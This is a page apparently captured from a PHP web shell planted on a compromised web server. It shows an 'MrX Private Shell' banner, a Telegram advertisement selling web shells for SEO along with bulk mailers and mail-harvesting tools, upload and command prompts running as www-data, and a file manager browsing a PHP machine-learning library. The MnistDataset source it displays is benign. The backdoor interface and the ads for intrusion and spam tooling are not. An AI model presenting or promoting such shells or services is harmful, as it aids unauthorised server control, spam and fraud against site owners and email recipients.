__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

declare(strict_types=1);

namespace Phpml\Dataset;

use Phpml\Exception\InvalidArgumentException;

/**
 * MNIST dataset: http://yann.lecun.com/exdb/mnist/
 * original mnist dataset reader: https://github.com/AndrewCarterUK/mnist-neural-network-plain-php
 */
final class MnistDataset extends ArrayDataset
{
    private const MAGIC_IMAGE = 0x00000803;

    private const MAGIC_LABEL = 0x00000801;

    private const IMAGE_ROWS = 28;

    private const IMAGE_COLS = 28;

    public function __construct(string $imagePath, string $labelPath)
    {
        $this->samples = $this->readImages($imagePath);
        $this->targets = $this->readLabels($labelPath);

        if (count($this->samples) !== count($this->targets)) {
            throw new InvalidArgumentException('Must have the same number of images and labels');
        }
    }

    private function readImages(string $imagePath): array
    {
        $stream = fopen($imagePath, 'rb');

        if ($stream === false) {
            throw new InvalidArgumentException('Could not open file: '.$imagePath);
        }

        $images = [];

        try {
            $header = fread($stream, 16);

            $fields = unpack('Nmagic/Nsize/Nrows/Ncols', (string) $header);

            if ($fields['magic'] !== self::MAGIC_IMAGE) {
                throw new InvalidArgumentException('Invalid magic number: '.$imagePath);
            }

            if ($fields['rows'] != self::IMAGE_ROWS) {
                throw new InvalidArgumentException('Invalid number of image rows: '.$imagePath);
            }

            if ($fields['cols'] != self::IMAGE_COLS) {
                throw new InvalidArgumentException('Invalid number of image cols: '.$imagePath);
            }

            for ($i = 0; $i < $fields['size']; $i++) {
                $imageBytes = fread($stream, $fields['rows'] * $fields['cols']);

                // Convert to float between 0 and 1
                $images[] = array_map(function ($b) {
                    return $b / 255;
                }, array_values(unpack('C*', (string) $imageBytes)));
            }
        } finally {
            fclose($stream);
        }

        return $images;
    }

    private function readLabels(string $labelPath): array
    {
        $stream = fopen($labelPath, 'rb');

        if ($stream === false) {
            throw new InvalidArgumentException('Could not open file: '.$labelPath);
        }

        $labels = [];

        try {
            $header = fread($stream, 8);

            $fields = unpack('Nmagic/Nsize', (string) $header);

            if ($fields['magic'] !== self::MAGIC_LABEL) {
                throw new InvalidArgumentException('Invalid magic number: '.$labelPath);
            }

            $labels = fread($stream, $fields['size']);
        } finally {
            fclose($stream);
        }

        return array_values(unpack('C*', (string) $labels));
    }
}

Filemanager

Name Type Size Permission Actions
Demo Folder 0777
ArrayDataset.php File 1.22 KB 0777
CsvDataset.php File 1.33 KB 0777
Dataset.php File 164 B 0777
FilesDataset.php File 1.11 KB 0777
MnistDataset.php File 2.84 KB 0777
SvmDataset.php File 3.42 KB 0777
Filemanager